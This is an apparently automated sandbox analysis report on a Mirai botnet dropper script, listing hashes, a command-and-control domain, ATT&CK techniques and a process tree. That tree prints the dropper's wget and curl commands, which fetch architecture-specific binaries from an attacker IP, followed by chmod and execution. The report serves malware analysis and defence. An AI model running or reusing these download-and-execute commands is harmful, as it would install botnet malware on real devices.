mirai | 504bc166321b9ccec043667881ef760fd04bb85c1ea8fa0e9fcfb44f356ea60f

Analysis

max time kernel
20s
max time network
66s
platform
debian-9_armhf
resource
debian9-armhf-20240418-en
resource tags

arch:armhfimage:debian9-armhf-20240418-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
17-12-2024 15:07

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General

Target

yarn.sh
Size

2KB
MD5

156f8033151bacfe7fbd2b38e8ed8230
SHA1

8e2424caff27c90c3792ebc7a3d3312f9ad31474
SHA256

504bc166321b9ccec043667881ef760fd04bb85c1ea8fa0e9fcfb44f356ea60f
SHA512

dd1623dd530087ea2b2f3d554807d1a8e5d3914a8ecdd61433d9f64a4f585afcc7fd8a3ffcb7237363842b722cced8c5d34f60b631349cd73cfbd674c99cb534

Score

10^/10

mirai unstable antivm botnet defense_evasion discovery

Malware Config

Extracted

Family

mirai

Botnet

UNSTABLE

servers.vlrt-gap.com

Extracted

Family

mirai

Botnet

UNSTABLE

Extracted

Family

mirai

Botnet

UNSTABLE

servers.vlrt-gap.com

Extracted

Family

mirai

Botnet

UNSTABLE

servers.vlrt-gap.com

Signatures

Mirai
Mirai is a prevalent Linux malware infecting exposed network devices.
botnet mirai
Mirai family
mirai

File and Directory Permissions Modification 1 TTPs 9 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
777	chmod
795	chmod
804	chmod
687	chmod
748	chmod
759	chmod
810	chmod
709	chmod
739	chmod

Deletes itself 2 IoCs

pid	Process
749	WTH
796	WTH

Executes dropped EXE 9 IoCs

ioc	pid	Process
/tmp/WTH	688	WTH
/tmp/WTH	710	WTH
/tmp/WTH	741	WTH
/tmp/WTH	749	WTH
/tmp/WTH	760	WTH
/tmp/WTH	779	WTH
/tmp/WTH	796	WTH
/tmp/WTH	805	WTH
/tmp/WTH	811	WTH

Modifies Watchdog functionality 1 TTPs 4 IoCs

Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

defense_evasion

Impair Defenses

T1562

description	ioc	Process
File opened for modification	/dev/misc/watchdog	WTH
File opened for modification	/dev/watchdog	WTH
File opened for modification	/dev/misc/watchdog	WTH
File opened for modification	/dev/watchdog	WTH

Enumerates active TCP sockets 1 TTPs 1 IoCs

Gets active TCP sockets from /proc virtual filesystem.

discovery

System Network Connections Discovery

T1049

description	ioc	Process
File opened for reading	/proc/net/tcp	WTH

Writes file to system bin folder 4 IoCs

description	ioc	Process
File opened for modification	/sbin/watchdog	WTH
File opened for modification	/bin/watchdog	WTH
File opened for modification	/sbin/watchdog	WTH
File opened for modification	/bin/watchdog	WTH

Changes its process name 2 IoCs

description	ioc	pid	Process
Changes the process name, possibly in an attempt to hide itself	6uggwnen338vjugw	749	WTH
Changes the process name, possibly in an attempt to hide itself	q1hhncb3aurwg3u0	796	WTH

Checks CPU configuration 1 TTPs 9 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads system network configuration 1 TTPs 1 IoCs

Uses contents of /proc filesystem to enumerate network settings.

discovery

Internet Connection Discovery

T1016.001

description	ioc	Process
File opened for reading	/proc/net/tcp	WTH

Reads runtime system information 18 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

System Network Configuration Discovery 1 TTPs 3 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
707	cat
692	wget
697	curl

Writes file to tmp directory 19 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/WTH	yarn.sh
File opened for modification	/tmp/zmap.arm6	wget
File opened for modification	/tmp/zmap.arm7	curl
File opened for modification	/tmp/zmap.ppc	wget
File opened for modification	/tmp/zmap.ppc	curl
File opened for modification	/tmp/zmap.m68k	wget
File opened for modification	/tmp/zmap.mips	wget
File opened for modification	/tmp/zmap.mips	curl
File opened for modification	/tmp/zmap.arm	curl
File opened for modification	/tmp/zmap.arm7	wget
File opened for modification	/tmp/zmap.m68k	curl
File opened for modification	/tmp/zmap.arm6	curl
File opened for modification	/tmp/zmap.x86	wget
File opened for modification	/tmp/zmap.x86	curl
File opened for modification	/tmp/zmap.mpsl	wget
File opened for modification	/tmp/zmap.mpsl	curl
File opened for modification	/tmp/zmap.arm	wget
File opened for modification	/tmp/zmap.arm5	wget
File opened for modification	/tmp/zmap.arm5	curl

/tmp/yarn.sh
/tmp/yarn.sh
1⤵
- Writes file to tmp directory
PID:652
- /usr/bin/wget
  wget http://185.196.11.47/zmap.x86
  2⤵
  - Writes file to tmp directory
  PID:655
- /usr/bin/curl
  curl -O http://185.196.11.47/zmap.x86
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:683
- /bin/cat
  cat zmap.x86
  2⤵
  PID:685
- /bin/chmod
  chmod +x systemd-private-6aaa57480b2c430fa38db9d8e082a72f-systemd-timedated.service-DrNRK0 WTH yarn.sh zmap.x86
  2⤵
  - File and Directory Permissions Modification
  PID:687
- /tmp/WTH
  ./WTH yarn.selfrep
  2⤵
  - Executes dropped EXE
  PID:688
- /usr/bin/wget
  wget http://185.196.11.47/zmap.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:692
- /usr/bin/curl
  curl -O http://185.196.11.47/zmap.mips
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:697
- /bin/cat
  cat zmap.mips
  2⤵
  - System Network Configuration Discovery
  PID:707
- /bin/chmod
  chmod +x systemd-private-6aaa57480b2c430fa38db9d8e082a72f-systemd-timedated.service-DrNRK0 WTH yarn.sh zmap.mips zmap.x86
  2⤵
  - File and Directory Permissions Modification
  PID:709
- /tmp/WTH
  ./WTH yarn.selfrep
  2⤵
  - Executes dropped EXE
  PID:710
- /usr/bin/wget
  wget http://185.196.11.47/zmap.mpsl
  2⤵
  - Writes file to tmp directory
  PID:712
- /usr/bin/curl
  curl -O http://185.196.11.47/zmap.mpsl
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:726
- /bin/cat
  cat zmap.mpsl
  2⤵
  PID:737
- /bin/chmod
  chmod +x systemd-private-6aaa57480b2c430fa38db9d8e082a72f-systemd-timedated.service-DrNRK0 WTH yarn.sh zmap.mips zmap.mpsl zmap.x86
  2⤵
  - File and Directory Permissions Modification
  PID:739
- /tmp/WTH
  ./WTH yarn.selfrep
  2⤵
  - Executes dropped EXE
  PID:741
- /usr/bin/wget
  wget http://185.196.11.47/zmap.arm
  2⤵
  - Writes file to tmp directory
  PID:743
- /usr/bin/curl
  curl -O http://185.196.11.47/zmap.arm
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:746
- /bin/cat
  cat zmap.arm
  2⤵
  PID:747
- /bin/chmod
  chmod +x systemd-private-6aaa57480b2c430fa38db9d8e082a72f-systemd-timedated.service-DrNRK0 WTH yarn.sh zmap.arm zmap.mips zmap.mpsl zmap.x86
  2⤵
  - File and Directory Permissions Modification
  PID:748
- /tmp/WTH
  ./WTH yarn.selfrep
  2⤵
  - Deletes itself
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Changes its process name
  PID:749
- /usr/bin/wget
  wget http://185.196.11.47/zmap.arm5
  2⤵
  - Writes file to tmp directory
  PID:751
- /usr/bin/curl
  curl -O http://185.196.11.47/zmap.arm5
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:753
- /bin/cat
  cat zmap.arm5
  2⤵
  PID:758
- /bin/chmod
  chmod +x systemd-private-6aaa57480b2c430fa38db9d8e082a72f-systemd-timedated.service-DrNRK0 WTH yarn.sh zmap.arm zmap.arm5 zmap.mips zmap.mpsl zmap.x86
  2⤵
  - File and Directory Permissions Modification
  PID:759
- /tmp/WTH
  ./WTH yarn.selfrep
  2⤵
  - Executes dropped EXE
  PID:760
- /usr/bin/wget
  wget http://185.196.11.47/zmap.arm6
  2⤵
  - Writes file to tmp directory
  PID:761
- /usr/bin/curl
  curl -O http://185.196.11.47/zmap.arm6
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:770
- /bin/cat
  cat zmap.arm6
  2⤵
  PID:776
- /bin/chmod
  chmod +x systemd-private-6aaa57480b2c430fa38db9d8e082a72f-systemd-timedated.service-DrNRK0 WTH yarn.sh zmap.arm zmap.arm5 zmap.arm6 zmap.mips zmap.mpsl zmap.x86
  2⤵
  - File and Directory Permissions Modification
  PID:777
- /tmp/WTH
  ./WTH yarn.selfrep
  2⤵
  - Executes dropped EXE
  PID:779
- /usr/bin/wget
  wget http://185.196.11.47/zmap.arm7
  2⤵
  - Writes file to tmp directory
  PID:780
- /usr/bin/curl
  curl -O http://185.196.11.47/zmap.arm7
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:789
- /bin/cat
  cat zmap.arm7
  2⤵
  PID:794
- /bin/chmod
  chmod +x systemd-private-6aaa57480b2c430fa38db9d8e082a72f-systemd-timedated.service-DrNRK0 WTH yarn.sh zmap.arm zmap.arm5 zmap.arm6 zmap.arm7 zmap.mips zmap.mpsl zmap.x86
  2⤵
  - File and Directory Permissions Modification
  PID:795
- /tmp/WTH
  ./WTH yarn.selfrep
  2⤵
  - Deletes itself
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Enumerates active TCP sockets
  - Writes file to system bin folder
  - Changes its process name
  - Reads system network configuration
  PID:796
- /usr/bin/wget
  wget http://185.196.11.47/zmap.ppc
  2⤵
  - Writes file to tmp directory
  PID:800
- /usr/bin/curl
  curl -O http://185.196.11.47/zmap.ppc
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:802
- /bin/cat
  cat zmap.ppc
  2⤵
  PID:803
- /bin/chmod
  chmod +x systemd-private-6aaa57480b2c430fa38db9d8e082a72f-systemd-timedated.service-DrNRK0 WTH yarn.sh zmap.arm zmap.arm5 zmap.arm6 zmap.arm7 zmap.mips zmap.mpsl zmap.ppc zmap.x86
  2⤵
  - File and Directory Permissions Modification
  PID:804
- /tmp/WTH
  ./WTH yarn.selfrep
  2⤵
  - Executes dropped EXE
  PID:805
- /usr/bin/wget
  wget http://185.196.11.47/zmap.m68k
  2⤵
  - Writes file to tmp directory
  PID:807
- /usr/bin/curl
  curl -O http://185.196.11.47/zmap.m68k
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:808
- /bin/cat
  cat zmap.m68k
  2⤵
  PID:809
- /bin/chmod
  chmod +x systemd-private-6aaa57480b2c430fa38db9d8e082a72f-systemd-timedated.service-DrNRK0 WTH yarn.sh zmap.arm zmap.arm5 zmap.arm6 zmap.arm7 zmap.m68k zmap.mips zmap.mpsl zmap.ppc zmap.x86
  2⤵
  - File and Directory Permissions Modification
  PID:810
- /tmp/WTH
  ./WTH yarn.selfrep
  2⤵
  - Executes dropped EXE
  PID:811
- /usr/bin/wget
  wget http://185.196.11.47/zmap.spc
  2⤵
  PID:813

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Impair Defenses

T1562

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

System Network Connections Discovery

T1049

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

/tmp/WTH

Filesize
94KB

MD5
8ae4ac18a3b34fba963f59a42ff02fb7

SHA1
e9f75cf21972b2c953163d64d3cb89bd6a93cc1b

SHA256
c485a846f4b7c5d410762291758175ca0775ca919da52ef05047f3000045020a

SHA512
af6a9fb41fc94fdb3c1448e2477190f403b14eca2502e93c1ab6a1c8cf0eaada47dedd81df94f15bc6efa8ae29d68f3a6368c67283514c88f3f8e28519bf6bb0

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/tmp/WTH

Filesize
94KB

MD5
d81e9564b8b9d62d70bda936d927d875

SHA1
42706a08b0545984ed5a5cfbdff3fe2ab62ca552

SHA256
c14fead55aee69ec760fdba5f5371922595ad9df3c7201feb088f322043def0d

SHA512
282a8641c62e67b1bde30e1bfbd991493c38155b6dfdb5406a80d69b7b710bfe27fdbe5571363c3f55e2fbb0a447db3789c5609493e24daef3260c2d87417886

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/tmp/WTH

Filesize
74KB

MD5
9784e8db8dae548a6593644e3a168579

SHA1
afa7c4ce4b0122ec5f22dc37aa7658f41cb01008

SHA256
4278fcf8ef5692822cc5eccce4857b5132f8d029949b83925a7a1e6f5c969129

SHA512
7f48ae6e910f87f70995c6373083c534670e2f66310e51e8a0b43bc01a31327e33a992b3ad50bc4956e4c9fb3c0845e6ca6aca2dbb014e66487a8338efe2eb6c

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/tmp/WTH

Filesize
49KB

MD5
241482e2337afd65af97770b37d5c90d

SHA1
c52137309238b4f1badf1e7bf01197bc48cd00fc

SHA256
01d39c861837c2f70e59a1e0af94249269813cfa8dc2696d095d36db84fcf7ca

SHA512
cf3fbd84e7664d26a5cdbec8fb195d28438aca00c62b3428fd6d4c4ab7cb781d5816afa6eb046def918efc73059192683ba313c06fec2231cc6cff8610d29a00

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/tmp/WTH

Filesize
152KB

MD5
42d179f455f0cce3d90ba52cda6d699d

SHA1
5d23245cc6a4e167f1f0c60634d4c9a2a04807e6

SHA256
3f1df9d60387251d6b937ff15211c555b4c64a702f568a727e68a0b94e729a77

SHA512
21286a7571e33066502188147e25f910dcda146df34a672a167eaa9705a7cbe2dd11a7f83291f3786f866abe5cc9e88c612d7d7c27dfd5b920714fffb6ad2d77

Download Submit
/tmp/zmap.x86

Filesize
61KB

MD5
d1f752879420a6d45d76f130281392d6

SHA1
46a92c0efae33b8a826dc48daa3dbf3d30be4a15

SHA256
4fc42ee2d91d577e0bcc49c27d5f3936584ad49c27b5032baa57a6c6e53b4914

SHA512
91e7beb1157bf75f4e73459eb2ab003005aa591848698451ee6dc79764570bf2d8a253c25dda6346b657367844048cd21be38b6485d169e373e8455b2d586225

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Analysis

Sharing

General

Malware Config

Extracted

Extracted

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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